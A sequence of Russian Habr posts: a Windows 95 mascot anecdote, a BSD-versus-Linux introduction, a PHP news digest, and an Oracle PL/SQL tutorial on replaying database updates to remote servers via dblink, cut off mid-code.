На самом деле талисманами Windows 95 были два разных Кролика: маленький, «16-битный Кролик», и большой, «32-битный Кролик». Два Кролика — значит вдвое больше удобных случаев их похитить; и пока создавалась Windows 95, кроликам немало досталось. Например, когда Дэйв женился, программисты помогли 32-битному Кролику проникнуть на свадьбу без приглашения, а потом рассылали фотографии, где Кролик налакался в стельку.
Дэйв занимался в основном GUI, так что названия `BEAR` и `BUNNY` получали функции, относящиеся к интерфейсу с пользователем.
Ядром занимался Майк, а у него был плюшевый диснеевский Пятачок. Так что когда нужно было назвать в ядре новую функцию для внутреннего использования, её называли `PIGLET`.
Пятачок дожил до релиза Windows 95 без единой царапины.
> Примечание: `BEAR` и `BUNNY` до сих пор живы в 32-битных версиях Windows. Раньше `BEAR` жил в `\Windows\System32\user.exe`, а `BUNNY` в `\Windows\System32\krnl386.exe`; но начиная с Windows 8, они переехали в каталог `\Windows\WinSxS\x86_microsoft-windows-ntvdm-system32-payload_31bf3856ad364e35_<версия>_none_<хэш>\` | https://habr.com/ru/post/522324/ | null | ru | null |
# BSD vs Linux. Вступление
О чём это я?
============
Мои компьютеры работают под управлением [FreeBSD](http://www.freebsd.org/). У многих моих друзей на компьютерах стоит [Linux](http://www.linux.org/), хотя бы один из его дистрибутивов. Несмотря на то, что мы согласны с тем, что системы \*nix — это правильный выбор, в выборе конкретных дистрибутивов наши мнения расходятся.У меня сложилось впечатление, что BSD-сообщество, в целом, понимает Linux лучше, чем Linux-сообщество понимает BSD. У меня есть несколько предположений, почему так происходит, но это не суть важно. Я полагаю, многие линуксоиды отказались от BSD, потому что они не совсем понимают, что там к чему. Таким образом, как пользователь BSD, я попытаюсь объяснить, как работает BSD, в доступной форме.Хотя системы очень похожи во многих аспектах, существует множество различий. Если вы копнёте глубже, то узнаете, что они возникают из-за укоренившихся разногласий. Одни из них касаются методологии разработки, другие — установки и использования, третьи — того, **что** важно и кто важен, а четвёртые — какое мороженое вкуснее. Сравнение поверхностных различий не скажет вам ни о чём — только сравнение более глубокое объяснит и расставит всё по полочкам.
Чего здесь нет?
---------------
Здесь нет:* списка соответствия команд, вроде «`netstat -rnfinet` в BSD = `netstat -rnAinet` в Linux» и всё прочее.
* Как сделать те или иные вещи при администрировании и работе BSD.
* Почему следует использовать BSD вместо Linux.
* Почему следует использовать Linux вместо BSD.
* Почему следует использовать *эту* BSD, а не *ту* BSD.
* Почему следует использовать *этот* Linux, а не *тот* Linux.
* Почему BSD — это правильно, а Linux — неправильно.
* Почему Linux — это правильно, а BSD — неправильно.
Лично я верю, что мой выбор ОС правильный. Но это *я*. Я не говорю вам, что вы должны верить в то же. Изучите факты, их предпосылки, и сделайте **ваш** выбор. Ведь именно для этого он вам и дан.
Некоторые соображения.
======================
Есть много философских различий между миром Linux и миром BSD. И множество высказываний по этому поводу. Одно из моих любимых выглядит примерно так:### «BSD — это то, что получается, когда кучка Unix-хакеров пытается портировать Unix на PC. Linux — это то, что получается, когда кучка PC-хакеров пытается написать Unix-систему для PC.»
Мне нравится, как тонко замечено, не потому что это какая-то сакральная правда, а потому что это дает толчок к пониманию некоторых отличий. BSD-системы, в целом, *более* похожи на традиционный Unix, чем Linux. Во многом это связано с тем, что они являются прямыми потомками Berkeley Software Distibution, которая в свою очередь родилась из AT&T Unix. Торговая марка Unix принадлежит The Open Group, а код Unix является собственностью SCO, поэтому нельзя говорить, что BSD-системы — это Unix. Но, во многих отношениях, BSD-системы являются прямыми потомками традиционной Unix.Это прослеживается во многом: в дизайне системы, в дополнениях, в разбиении жесткого диска, в деталях команд, в отношении, предрассудках и реакциях разработчиков и в пользователях.BSD разрабатывают. Linux выращивают. Наверное, это единственное краткое описание, и возможно, наиболее корректное.
Этим небольшим вступением я начинаю перевод серии статей [Мэтта Фуллера](http://www.over-yonder.net/~fullermd/), которые в свое время вдохновили меня перейти на FreeBSD. | https://habr.com/ru/post/31430/ | null | ru | null |
# PHP-Дайджест № 189 (21 сентября – 5 октября 2020)
[](https://habr.com/ru/post/522042/)
Свежая подборка со ссылками на новости и материалы. В выпуске: PHP 8.0 RC 1 и переименование параметров внутренних функций, PhpStorm 2020.3 EAP, многострочные короткие лямбды, атрибуты для групп свойств и другие новости PHP Internals, порция полезных инструментов, статьи, стримы, подкасты.
Приятного чтения!
### Новости и релизы
* **[PHP 8.0.0 RC 1](https://www.php.net/archive/2020.php#2020-10-01-4)** — Стартовал цикл релиз-кандидатов ветки 8. Запланировано 4 выпуска и второй релиз-кандидат ожидается 15 октября.
Усилия core-команды сосредоточены на пересмотре имен аргументов во всех модулях. Пример переименований [в PDO](https://github.com/php/php-src/pull/6220/files). За ходом можно наблюдать [здесь](https://github.com/php/php-tasks/issues/23).
* **[PhpStorm 2020.3 EAP](https://blog.jetbrains.com/phpstorm/2020/10/phpstorm-2020-3-early-access-program-is-now-open/)** — Стартовала программа раннего доступа. Уже реализована полная поддержка PHP 8 — поможет быстро сделать пакеты совместимыми с новой версией интерпретатора. Запланированы Xdebug 3, PHPStan/Psalm (в следующих билдах), интеграция Guzzle с HTTP-клиентом и другие фичи.
* [PHP 7.2.34](https://www.php.net/ChangeLog-7.php#7.2.34)
* [PHP 7.3.23](https://www.php.net/ChangeLog-7.php#7.3.23)
* [PHP 7.4.11](https://www.php.net/ChangeLog-7.php#7.4.11)
* ** [phpcommunity.ru](https://phpcommunity.ru/)** — PHP-митапы, чаты и ютуб-каналы.
* Традиционный [Hacktoberfest](https://hacktoberfest.digitalocean.com/) с возможностью получить футболку за 4 пул-реквеста в открытые проекты пошел в этом году не по плану.
Какой-то ютубер опубликовал инструкцию и показал, как делать примитивные пул-реквесты с изменениями в readme. Посыпался шквал бессмысленных PR. В итоге DigitalOcean [теперь](https://hacktoberfest.digitalocean.com/hacktoberfest-update) учитывают пул-реквесты только в те репозитории, у которых авторы явно указан топик `‘hacktoberfest’`.
Если вы хотите поучаствовать в опенсорсе и получить футболку, то вот инструкция [как сделать хороший пул-реквест](https://stitcher.io/blog/what-a-good-pr-looks-like) и список и issues с тегом [#hacktoberfest](https://github.com/search?l=&p=5&q=label%3Ahacktoberfest+language%3APHP+state%3Aopen&ref=advsearch&type=Issues) в PHP-проектах.
### PHP Internals
* ** [[PR] Attributes on property groups](https://github.com/php/php-src/pull/6186)** — Атрибуты можно будет указывать сразу для группы свойств, а не только по одному, так же как это работает для модификаторов доступа.
```
class FooBar {
#[NonNegative]
public int $x, $y, $z;
}
```
* ** [[PR] Attributes and strict types](https://externals.io/message/111915)** — Также атрибуты будут принимать во внимание директиву `strict_types=1`.
* **[[PR] OPCache: Direct execution opcode file without php source code file](https://github.com/php/php-src/pull/6146)** — Концепт в виде в PR, в котором автор предлагает сделать возможным сохранять бинарный файл опкеша и запускать его уже без исходника. По сути, это что-то напоминающее подход в Java или очень похожее на питоновские файлы `.pyc / .pyo`.
Теоретически, в этом случае можно было бы распространять предварительно скомпилированный PHP-код без исходников. Типа как `.phar`, но уже интерпретированный.
Но в [обсуждении](https://externals.io/message/111965) указали на проблемы такого подхода. Формат опкода в PHP нестабилен и несовместим от версии к версии. Причем даже в рамках патч-релизов, то есть код скомпилированный на PHP 7.4.22 может просто свалиться с segfault на PHP 7.4.23. А сделать его стабильным — маловероятно.
* **[[PR] Multiline arrow functions](https://github.com/php/php-src/pull/6246)** — Короткие лямбды, добавленные в PHP 7.4, могут содержать только одно выражение. В этом пул-реквесте представлена реализация многострочных коротких лямбд:
```
$guests = array_filter($users, fn ($user) => {
$guest = $repository->findByUserId($user->id);
return $guest !== null && in_array($guest->id, $guestsIds);
});
```
Из явных преимуществ по сравнению с обычными лямбдами можно отметить автоматический захват скоупа, то есть не надо добавлять `use`.
Также остается открытым вопрос синтаксиса, а именно стоит ли добавлять стрелку `=>`:
```
fn() => {}
```
или
```
fn() {}
```
### Инструменты
* [thephpleague/event 3.0.0](https://github.com/thephpleague/event) — Популярный пакет для событий теперь совместим с PSR-14.
* [terrylinooo/simple-cache](https://github.com/terrylinooo/simple-cache) — Драйверы кеша по стандарту PSR-16 для хранения в файлах, Redis, MySQL, SQLite, APC, APCu, Memcache, Memcached и WinCache.
* [Code With Me (EAP)](https://blog.jetbrains.com/blog/2020/09/28/code-with-me-eap/) — В тестовом режиме доступен плагин для совместной работы в IDE от JetBrains.
* [Bolt 4.0](https://github.com/bolt/core) — Обновление популярной CMS на Symfony- компонентах.
### Symfony
* [В Symfony 5.2 будут атрибуты PHP 8](https://symfony.com/blog/new-in-symfony-5-2-php-8-attributes?utm_medium=feed) — Например: `#[Route('/path', name: 'action')]` для роутов, `#[Required]` для указания требуемых зависимостей.
* [Динамическое изменение уровня логирования в приложениях Symfony.](https://matthiasnoback.nl/2020/09/symfony-changing-the-log-level/)
* [Неделя Symfony #718 (28 сентября — 4 октября 2020)](https://symfony.com/blog/a-week-of-symfony-718-28-september-4-october-2020)
### Laravel
* [spatie/laravel-typescript-transformer](https://github.com/spatie/laravel-typescript-transformer) — Транслирует типы из PHP в Typescript для использования на фронтенде. Подробнее о мотивации [в посте](https://rubenvanassche.com/typing-your-frontend-from-the-backend/).
*  [Система управления иерархическими древовидными комментариями для Laravel](https://habr.com/ru/post/520124/) — [drandin/closure-table-comments](https://github.com/drandin/closure-table-comments)
*  [Сделайте свое приложение масштабируемым, оптимизировав производительность ORM](https://habr.com/ru/company/otus/blog/521488/)
*  [Новинки Laravel 8](https://habr.com/ru/company/otus/blog/520556/)
*  [Laravel Jetstream — новый скаффолдинг для фреймворка](https://habr.com/ru/post/520596/)
*  [Laravel–Дайджест (28 сентября – 4 октября 2020)](https://habr.com/ru/post/521978/)
* [Обновленные гайдлайны по PHP и Laravel от Spatie](https://spatie.be/guidelines/laravel-php)
*  [Laravel Worldwide Meetup #3: Yaz Jallad и Адель Фаизрахманов](https://www.youtube.com/watch?v=h44R_ru8D3o) — Адель рассказывает про разработку плагинов для PhpStorm. Более подробный доклад от него ждем на [PHP Russia](https://phprussia.ru/moscow/2020/).
### Yii
* [W3C](https://www.w3.org/) откажется от WordPress и будут использовать [CraftCMS](https://github.com/craftcms/cms), который сделан на базе Yii 2. Сама новость не была бы такой интересной без [отличного документа](https://w3c.studio24.net/docs/cms-strategy-and-requirements/) о том, какие аспекты принимались во внимание при выборе.
### Async PHP
* [micc83/mailamie](https://github.com/micc83/mailamie) — Простой SMTP-сервер для тестирования отправки почты. Реализован на ReactPHP.
### Материалы для обучения
* [Какая же цветовая схема IDE лучше, светлая или темная?](https://stitcher.io/blog/why-light-themes-are-better-according-to-science) — Судя по исследованиям, лучше использовать светлую тему.
* [Анализ использований оператора подавления ошибок](https://www.exakat.io/en/i-scream-you-scream-we-all-scream-for/) `@`.
* [Как статические методы убивают тебя хуже, чем коронавирус](https://tomasvotruba.com/blog/2020/08/31/how-static-methods-kills-you-like-corona/).
* [.gitattributes для PHP-проектов](https://php.watch/articles/composer-gitattributes).
* [Почему не PHP?](https://mattbrown.dev/articles/why-not-php) — Вдохновившись статьей [«Почему не Rust»](https://matklad.github.io/2020/09/20/why-not-rust.html), автор Psalm написал о главных проблемах PHP на его взгляд. А заканчивает статью фразой: «there’s never been a better time to start a new PHP project».
*  [Валидация в PHP. Красота или лапша?](https://habr.com/ru/post/521292/)
*  [Собеседование php-developer в 2020](https://habr.com/ru/post/520472/).
### Аудио/Видео
*  [Профилирование PHP-приложений с помощью Xdebug](https://www.youtube.com/watch?v=mNc_tcomrVs) — Cтрим с автором Xdebug.
*  [Туториал по работе](https://www.youtube.com/watch?v=_Uk95vG3ezQ) c [rectorphp/rector](https://github.com/rectorphp/rector).
*  [Подкаст Между скобок № 11](https://soundcloud.com/between-braces/11-valentin-udaltsov-staticheskiy-analiz) — В гостях Валентин Удальцов ([Пых](https://t.me/phpyh)) рассказывает почему PHP пошел в сторону строгой типизации, для чего нужны статические анализаторы и как они работают, и про будущее статических анализаторов.
*  [Рефакторинг в стиле ниндзя и другие приемчики](https://www.youtube.com/watch?v=ucO7229o8Ew) — Крутой стрим в котором Валентин Удальцов и Леонид Корсаков показывают как рефакторили компонент валидации из Yii 3 и вместе с ведущими Александром Макаровым и Валентином Назаровым обсуждают проблемы рефакторинга в целом.
*  [Компиляция и тест-драйв PHP 8](https://www.youtube.com/watch?v=tN4qs_FPkWQ) — Brent Roose и Freek Van der Herten пробуют новые фичи языка на стриме.
> repost [pic.twitter.com/Sx3V57jBje](https://t.co/Sx3V57jBje)
>
> — (@levelsio) [September 22, 2020](https://twitter.com/levelsio/status/1308196984138981376?ref_src=twsrc%5Etfw)
---
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:[email protected]) или в [твиттер](https://twitter.com/pronskiy).
> Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
>
>
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 188](https://habr.com/ru/post/519960/) | https://habr.com/ru/post/522042/ | null | ru | null |
# PL/SQL через dblink
> On metalink, every one said there's no solution…
>
> Oracle can't do that ...
Приходилось ли Вам реализовывать нестандартные решения? А в Oracle? Мне бы хотелось рассмотреть использование техник, позволяющих лучше узнать принципы работы СУБД, а в совокупности предоставляющие удобство для разработчика.
Намного удобнее, выполнять разработку приложений баз данных в едином пространстве, а результаты переносить по ландшафту системы в фоновом режиме, автоматически регистрируя производимые изменения.

*Пример выполнения обновления на сервере разработки*
##### Пролог
Вы встречали вредных DBA? А работали с такими? На самом деле, обе стороны (Developer vs. DBA), добиваются одного результата, работоспособности системы, но с разных сторон. Впрочем, когда система расширяется, децентрализуется, но сохраняет целостность в реализации, то поддержка консистентного состояния программной оснастки может начать доставлять серьезные неудобства. Появляются серверы разработки, тестирования, «продуктива» — и все это замечательно, но всех их нужно обновлять.
В Oracle есть инструменты казалось бы похожие на рассматриваемый:
• [Audit](http://docs.oracle.com/cd/E11882_01/server.112/e17118/statements_4007.htm)
• [Oracle Streams](http://docs.oracle.com/cd/B28359_01/server.111/b28321/strms_over.htm)
• [Alert](http://docs.oracle.com/cd/B28359_01/appdev.111/b28419/d_alert.htm#CHDDJCJG)
Но все они выполняют другие функции. Одни, обеспечивают аудит изменений, другие синхронизируют данные. А мне бы хотелось действовать более прозрачно, вот например:
```
connect developer@dev
begin
UpdateServer(‘prod’);
end;
/
create table a as
select * from dual;
declare
v_id char:='Y';
v_cnt number;
begin
select count(rownum) into v_cnt from a;
if v_cnt = 1 then
insert into a values (v_id);
end if;
end;
/
begin
CommitUpdate;
end;
/
```
Теперь все мои действия продублированы на сервере ‘prod’. А может быть, даже так:
```
begin
UpdateFilials;
end;
/
```
И, скажем, семь серверов создали таблицу «A». Здорово? Тогда – поехали.
#### Подготовка
Выполним соединение с базой данных от имени пользователя имеющего достаточные привилегии для последующих действий:
```
connect system/***@orcl
Connected.
select banner from v$version;
BANNER
--------------------------------------------------------------------------
Oracle Database 11g Release 11.2.0.1.0 - 64bit Production
```
Предполагается что пользователь, выполняющий обновления, не должен иметь доступа к самой системе обновления, впрочем, как и сама система не привязывается к целевой схеме, следовательно, может использоваться универсально. Поэтому создадим нового пользователя:
```
create user upd identified by pass;
User created.
```
Поскольку статья не об ограничении прав новых пользователей:
```
grant dba to upd;
Grant succeded.
connect upd/pass
Connected.
```
Опустив рассуждения о проводимых изысканиях, скажу, что самым сложным оказалось получение анонимного PL/SQL блока, который приводился в примере выше. Естественно, одни действия в конечном итоге порождают другие, так например, всё тот же блок из примера, выполнит insert, но на самом деле может быть и не выполнит! Ведь выполняться он будет на другом сервере. Поэтому нас будет интересовать именно анонимный PL/SQL блок, а не последствия. Паблик синоним V$SQL или представление V\_$SQL на которое он ссылается, хранит все запросы, выполнявшиеся на сервере. Попробуем найти в нём нашу цель:
```
set linesize 90
begin
raise_application_error(-20000, 'Find me');
end;
/
select sql_id from v$sql where sql_text like '%error(-20000, ''Find%';
SQL_ID
-------------
753c9f808k8hh
1 row selected.
```
Действительно, именно мой анонимный блок находится там где положено. Конечно же, SQL\_ID выполняя мой пример, будет другой, но принадлежит ли он мне? Проверим:
```
connect system/***
begin
raise_application_error(-20000, 'Find me');
end;
/
select sql_id from v$sql where sql_text like '%error(-20000, ''Find%';
SQL_ID
-------------
753c9f808k8hh
1 row selected.
```
Нет, не принадлежит, оптимизатор видит, что ранее такое выражение уже выполнялось, и возвращает уже зарегистрированный SQL\_ID. Пометим на полях свои изыскания, и продолжим изучение:
```
connect upd/pass
Connected.
```
Выполнившийся блок, удалось найти, но мне бы хотелось узнать, кем он выполнен, а точнее узнать, что именно я выполнял его в определенный момент времени. Другое представление V\_$SESSION, сможет мне в этом помочь:
select sql\_id, prev\_sql\_id from v$session;
Тут нужно пояснить, что синоним v$session предоставляет доступ к VIEW, а доступ для пользователя организуется командой:
grant select on v\_$session to upd;
Дело тут в том, что тип представление v\_$session является FIXED VIEW, поэтому давать права на его синоним – запрещено. Впрочем, если выдавать права на синоним, скажем таблицы, сами права выдаются на таблицу, а НЕ на синоним.
Так что же там с запросом? Ах да, нужно ограничить выборку текущей сессией:
```
select sid, sql_id, prev_sql_id from v$session where sid = userenv('sid');
SID SQL_ID PREV_SQL_ID
---------- ------------- -------------
95 54mqd9bcxw8nh 753c9f808k8hh
```
Как это у Вас, не получается? Ни SQL\_ID ни PREV\_SQL\_ID – не содержат найденного ранее идентификатора 753c9f808k8hh? Естественно! SQL\_ID содержит идентификатор только что выполненного запроса, а PREV\_SQL\_ID скорее всего хранит идентификатор запроса:
```
select sql_id, prev_sql_id from v$session;
```
Я надеюсь, что читатель последовательно выполнял запросы, как я их приводил и поэтому сразу не нашел того что ожидалось. Для того что бы убедиться, что результат будет как и указано, нужно выполнить последовательно анонимный блок и запрос к представлению. Как бы то ни было, считаю, что еще один этап изысканий пройден. Теперь мы имеем исходный текст анонимного блока, и знаем, что он был выполнен именно нами.
К сожалению, решение, которое автоматизирует связывание, мне не нравится, ведь необходимо после определенного момента, запомнить все возможные анонимные блоки выполняющиеся пользователем, а представления хранящего историю сессии пользователя не существует? Или существует? Впрочем я не нашел и на данный момент, предлагаю следующий подход. Создадим таблицу, которая будет хранить идентификатор сессии, которая заинтересована в прослушивании и джоб, опрашивающий эту таблицу и сохраняющий историю сессии.
```
CREATE TABLE UPD.UPD$SESSION_TARGETS
(SID NUMBER);
Table created.
CREATE TABLE UPD.UPD$SESSION_DATA
(
KSUSENUM NUMBER,
KSUSEUNM VARCHAR2 (30 BYTE),
KSUSEMNM VARCHAR2 (64 BYTE),
KSUSESQI VARCHAR2 (13 BYTE),
KSUSEPSI VARCHAR2 (13 BYTE)
);
Table created.
```
«Что за названия полей второй таблицы?» — спросил бы я. Несмотря на то, что это не имеет веского оправдания, но пытавшись минимизировать нагрузку создаваемую джобом, я добрался до представления более высокого уровня sys.x\_$ksuse которое содержит достаточную информацию о целевой сессии. Делая закладку на будущее, в таблицу будут сохраняться еще несколько полезных полей, помимо необходимых: KSUSENUM (SID) и KSUSESQI (SQL\_ID). Хорошо будет вынести тело джоба во внешнюю процедуру, и не добавлять ее в пакет, дабы избежать ошибок, если пакет будет не валиден:
```
CREATE OR REPLACE procedure UPD.UPD$JobTask is
v_cnt number;
begin
loop
select count(rownum)
into v_cnt
from upd.upd$session_targets;
if (v_cnt = 0) then
select count(ksusenum)
into v_cnt
from upd.upd$session_data;
if (v_cnt > 0) then
execute immediate 'truncate table upd.upd$session_data';
end if;
continue;
end if;
INSERT INTO upd.upd$session_data (KSUSENUM, KSUSEUNM, KSUSEMNM, KSUSESQI, KSUSEPSI)
SELECT ksusenum, ksuseunm, ksusemnm, ksusesqi, ksusepsi
FROM sys.x_$ksuse
WHERE ksusenum IN (SELECT ust.sid FROM upd.upd$session_targets ust)
MINUS
SELECT ksusenum, ksuseunm, ksusemnm, ksusesqi, ksusepsi
FROM upd.upd$session_data;
commit;
end loop;
end UPD$JobTask;
/
Procedure created.
```
Идея обработки, заключается в том, что бы записывать в историю сессии только тогда, и только то что выполняется пользователем в режиме обновления. Теперь можно создать джоб, прослушать сессию пользователя и проверить результат:
```
DECLARE
X NUMBER;
BEGIN
SYS.DBMS_JOB.SUBMIT
( job => X
,what => 'begin /*UPD$SESSION_JOB*/
UPD$JobTask;
end;'
,next_date => SYSDATE
,interval => 'SYSDATE + 1/1444'
,no_parse => FALSE
);
COMMIT;
END;
/
PL/SQL procedure successfully completed.
insert into upd.upd$session_targets values (userenv('sid'));
1 row created.
begin
raise_application_error(-20000, 'Find me');
end;
/
Error at line 3
ORA-20000: Find me
ORA-06512: at line 2
truncate table upd.upd$session_targets;
Table truncated.
select KSUSEPSI from upd.upd$session_data;
KSUSEPSI
-------------
753c9f808k8hh
1 row selected.
select sql_text from v$sql where sql_id = '753c9f808k8hh';
SQL_TEXT
----------------------------------------------------------------------------
begin raise_application_error(-20000, 'Find me'); end;
1 row selected.
```
Как видно из результата запроса к V$SQL анонимный блок попал в таблицу лога записанный туда джобом. Для теста, я обращался к столбцу KSUSEPSI лога (предыдущему запросу) ввиду того, что мне приходилось выполнять команды очистки таблицы сессии в момент прослушивания. В дальнейшем, это так же окажется некоторым недостатком, но «обрывание» прослушивания мы исключим из результирующего набора выполняемого на удаленном сервере.
Теперь необходимо собрать DLL команды, которые так же могут выполняться при обновлении. Но здесь происходит противоречие, зачем собирать DDL – если их соберет джоб? К сожалению, он их не соберет, так как DDL не является запросом, а следовательно в v$session не отразится. Для этих целей Oracle предоставляет триггеры уровня СУБД, которыми можно воспользоваться. Выполняемые DDL, запишем в новую таблицу, а по аналогии с джобом, создадим процедуру и триггер выполняющей её:
```
CREATE GLOBAL TEMPORARY TABLE upd.UPD$BUF
(
ALIAS_OBJ VARCHAR2 (500 CHAR),
SQLTEXT CLOB,
OBJNAME VARCHAR2 (30 BYTE)
)
ON COMMIT PRESERVE ROWS;
Table created.
CREATE OR REPLACE PROCEDURE upd.T_PROC_UPD$DDL AUTHID DEFINER AS
osuser varchar2(30);
machine varchar2(64);
cnt number;
V_SQL_OUT ORA_NAME_LIST_T;
V_SQL_STATEMENT CLOB;
V_NUM NUMBER;
v_sqlerrm varchar2(2000);
BEGIN
SELECT count(rownum)
INTO cnt
FROM upd$session_targets ust
WHERE ust.sid = userenv('sid');
if cnt = 0 then
return;
end if;
V_NUM := ORA_SQL_TXT(V_SQL_OUT);
FOR I IN 1 .. V_NUM LOOP
V_SQL_STATEMENT := V_SQL_STATEMENT || V_SQL_OUT(I);
END LOOP;
INSERT INTO UPD$BUF (ALIAS_OBJ, SQLTEXT, OBJNAME)
VALUES (NULL, V_SQL_STATEMENT, ora_dict_obj_name);
EXCEPTION WHEN OTHERS THEN
raise_application_error(-20000, SQLERRM);
END T_PROC_UPD$DDL;
/
Procedure created.
CREATE OR REPLACE TRIGGER upd.T_UPD$DDL
AFTER DDL
ON DATABASE
BEGIN
T_PROC_UPD$DDL;
END;
/
Trigger created.
```
Дополнительная таблица, и её тип (GLOBAL TEMPORARY хранить данные до дисконнекта), выбраны из следующих соображений: джоб собирающий информацию о сессии, работает в сессии отличной от той, которая выполняет скрипты обновления, следовательно запросы записанные в нее стали бы недоступны сессии исполнителя; предоставить Oracle очистку таблицы после обновления; DDL триггер, срабатывает в той же сессии, в которой выполняется DDL, следовательно в этом случае записывать можно сразу в таблицу буфера; сохранение данных таблицы после коммита обусловлено тем, что DDL выполняет молчаливый коммит.
Важно обратить внимание на то, что процедура объявлена с директивой AUTHID DEFINER, которая позволит записывать действия с правами пользователя UPD, которые могут быть большими, чем у вызывающего. Далее производится определение длинны DDL и сохранение буферов в поле CLOB.
Триггер выполняется после (AFTER) DDL, что подразумевает успешное выполнение команды, до записи в буфер.
Подводя итоги изысканий, теперь имеются все возможные типы операций, подлежащие выполнению на обновляемой базе и можно приступить к завершающему этапу – инструменту выполнения обновлений.
#### Реализация
Мне не нравятся публикации, которые после длительного рассуждения и подготовки заканчиваются чем то вроде: «А теперь, (если не дурак) тебе должно быть ясно как доделать оставшуюся фигню». Конечно же тут дураков – нет, все давно поняли что нужно сделать дальше. Но я приведу свою текущую реализацию, несмотря на то, что её можно считать бета версией. Теперь много кода, а затем пояснения:
```
CREATE SEQUENCE UPD.UPD$SEQ_LOG
START WITH 0
MAXVALUE 9999999999999999999999999999
MINVALUE 0
NOCYCLE
NOCACHE
NOORDER;
Sequence created.
CREATE SEQUENCE UPD.UPD$SEQ_REV
START WITH 0
MAXVALUE 9999999999999999999999999999
MINVALUE 0
NOCYCLE
NOCACHE
NOORDER;
Sequence created.
CREATE TABLE UPD.UPD$LOG
(
ID_LOG NUMBER,
DAT_LOG DATE,
FQDN_UNAME_OBJ VARCHAR2 (1000 CHAR),
ALIAS_OBJ VARCHAR2 (500 CHAR),
SQL_TEXT CLOB,
ID_REV NUMBER,
SQLERRM_LOG VARCHAR2 (2000 CHAR)
);
Table created.
CREATE TABLE UPD.UPD$SERVERS
(
ALIAS_OBJ VARCHAR2 (500 CHAR),
DBLINK_OBJ VARCHAR2 (500 CHAR),
USERNAME VARCHAR2 (64 CHAR),
CALLBACK_DBLINK_OBJ VARCHAR2 (500 CHAR)
);
Table created.
CREATE OR REPLACE PACKAGE UPD$ AUTHID CURRENT_USER AS
procedure BeginUpdateChannel(u_alias varchar2);
procedure PrepareUpdateChannel;
procedure EndUpdateChannel;
procedure CancelUpdate;
END UPD$;
/
Package created.
CREATE OR REPLACE PACKAGE BODY UPD$ AS
pkg_active_alias varchar2(500);
pkg_prepared_alias varchar2(500):=null;
pkg_session number:=null;
pkg_dblink varchar2(500):=null;
pkg_callback_dblink varchar2(500):=null;
procedure SetSession(u_sid number, u_remove boolean default false) as
pragma autonomous_transaction;
l_sid_count number;
begin
if u_sid is null then
raise_application_error(-20550, 'Needless to set');
end if;
select count(rownum)
into l_sid_count
from upd.upd$session_targets ust
where ust.sid = u_sid;
if l_sid_count = 0 then
insert into upd.upd$session_targets (sid) values (u_sid);
commit;
pkg_session:=u_sid;
elsif u_remove then
delete from upd.upd$session_targets ust where ust.sid = u_sid;
commit;
pkg_session:=null;
end if;
end SetSession;
function JobNumber return number as
l_jobid number;
begin
SELECT a.job
INTO l_jobid
FROM dba_jobs a
WHERE a.what like '%/*UPD$SESSION_JOB*/%';
return l_jobid;
EXCEPTION
WHEN NO_DATA_FOUND THEN return 0;
WHEN OTHERS THEN raise;
end JobNumber;
procedure JobRun as
--TODO: run job is it stopped
--v_cnt number:=0;
v_job number;
begin
v_job:=JobNumber;
if v_job = 0 then
raise_application_error(-20560, 'Unable to find updating job');
end if;
--select count(rownum)
-- into v_cnt
-- from dba_jobs_running a where a.job = v_job;
--if v_cnt = 0 then
-- dbms_job.run(v_job);
-- commit;
--end if;
end JobRun;
procedure SetChannel(u_alias varchar2) as
begin
SELECT dblink_obj, callback_dblink_obj
INTO pkg_dblink, pkg_callback_dblink
FROM upd.upd$servers a
WHERE upper(a.alias_obj) = upper(u_alias)
AND upper(username) = upper(USER);
exception when no_data_found then
raise_application_error(-20501, 'Unable set channel. Alias '||u_alias||' not found');
when others then
raise_application_error(-20500, 'Unable set channel for alias '||u_alias||SQLERRM);
end SetChannel;
procedure CancelUpdate is
begin
pkg_active_alias:=null;
pkg_prepared_alias:=null;
pkg_session:=null;
pkg_dblink:=null;
execute immediate 'truncate table upd.upd$buf';
delete from upd.upd$session_targets ust where ust.sid = userenv('sid');
end CancelUpdate;
procedure BeginUpdateChannel(u_alias varchar2) is
begin
if pkg_active_alias is not null then
raise_application_error(-20500, 'Unable begin update channel. Alias '||u_alias||' allready active.');
end if;
SetChannel(u_alias);
execute immediate 'truncate table upd.upd$buf';
JobRun;
SetSession(userenv('sid'), false);
pkg_active_alias:=u_alias;
pkg_prepared_alias:=null;
end BeginUpdateChannel;
procedure PrepareUpdateChannel is
begin
if pkg_prepared_alias is not null then
raise_application_error(-20500, 'Already prepared');
end if;
if pkg_active_alias is null then
raise_application_error(-20500, 'Needless to prepare');
end if;
INSERT INTO upd.upd$buf (ALIAS_OBJ, SQLTEXT)
SELECT pkg_active_alias, b.sql_fulltext
FROM (select distinct ksusenum, ksusesqi from upd.upd$session_data) a,
sys.v_$sql b
WHERE a.ksusenum = pkg_session
AND a.ksusesqi = b.sql_id
AND (trim(upper(sql_text)) not like 'INSERT%' and
trim(upper(sql_text)) not like 'UPDATE%' and
trim(upper(sql_text)) not like 'DELETE%' and
trim(upper(sql_text)) not like 'SELECT%' and
trim(upper(sql_text)) not like '%UPD$%' and
trim(upper(sql_text)) not like '%AW_TRUNC_PROC%' and
trim(upper(sql_text)) not like '%XDB.XDB_PITRIG_PKG%' and
sql_text not like '%:B%' and
sql_text not like '%:1%'
);
SetSession(pkg_session, true);
pkg_prepared_alias:=pkg_active_alias;
pkg_active_alias:=null;
end PrepareUpdateChannel;
procedure DropObject(object_name varchar2) is
l_owner varchar2(30);
l_type varchar2(19);
l_purge varchar2(6);
begin
SELECT OWNER, OBJECT_TYPE, CASE when object_type = 'TABLE' then ' purge' else null end
INTO l_owner, l_type, l_purge
FROM all_objects
WHERE upper(object_name) = upper(DropObject.object_name);
execute immediate 'drop '||l_type||' '||DropObject.object_name||l_purge;
exception when no_data_found then null;
when others then raise;
end DropObject;
procedure ExecRemote(u_sql varchar2) is
c number;
r number;
begin
execute immediate 'begin :1:=dbms_sql.open_cursor@'||pkg_dblink||'(); end;' using out c;
execute immediate 'begin dbms_sql.parse@'||pkg_dblink||'(:1, :2, dbms_sql.native); end;' using in c, in u_sql;
execute immediate 'begin dbms_sql.close_cursor@'||pkg_dblink||'(:1); end;' using in out c;
end ExecRemote;
procedure EndUpdateChannel is
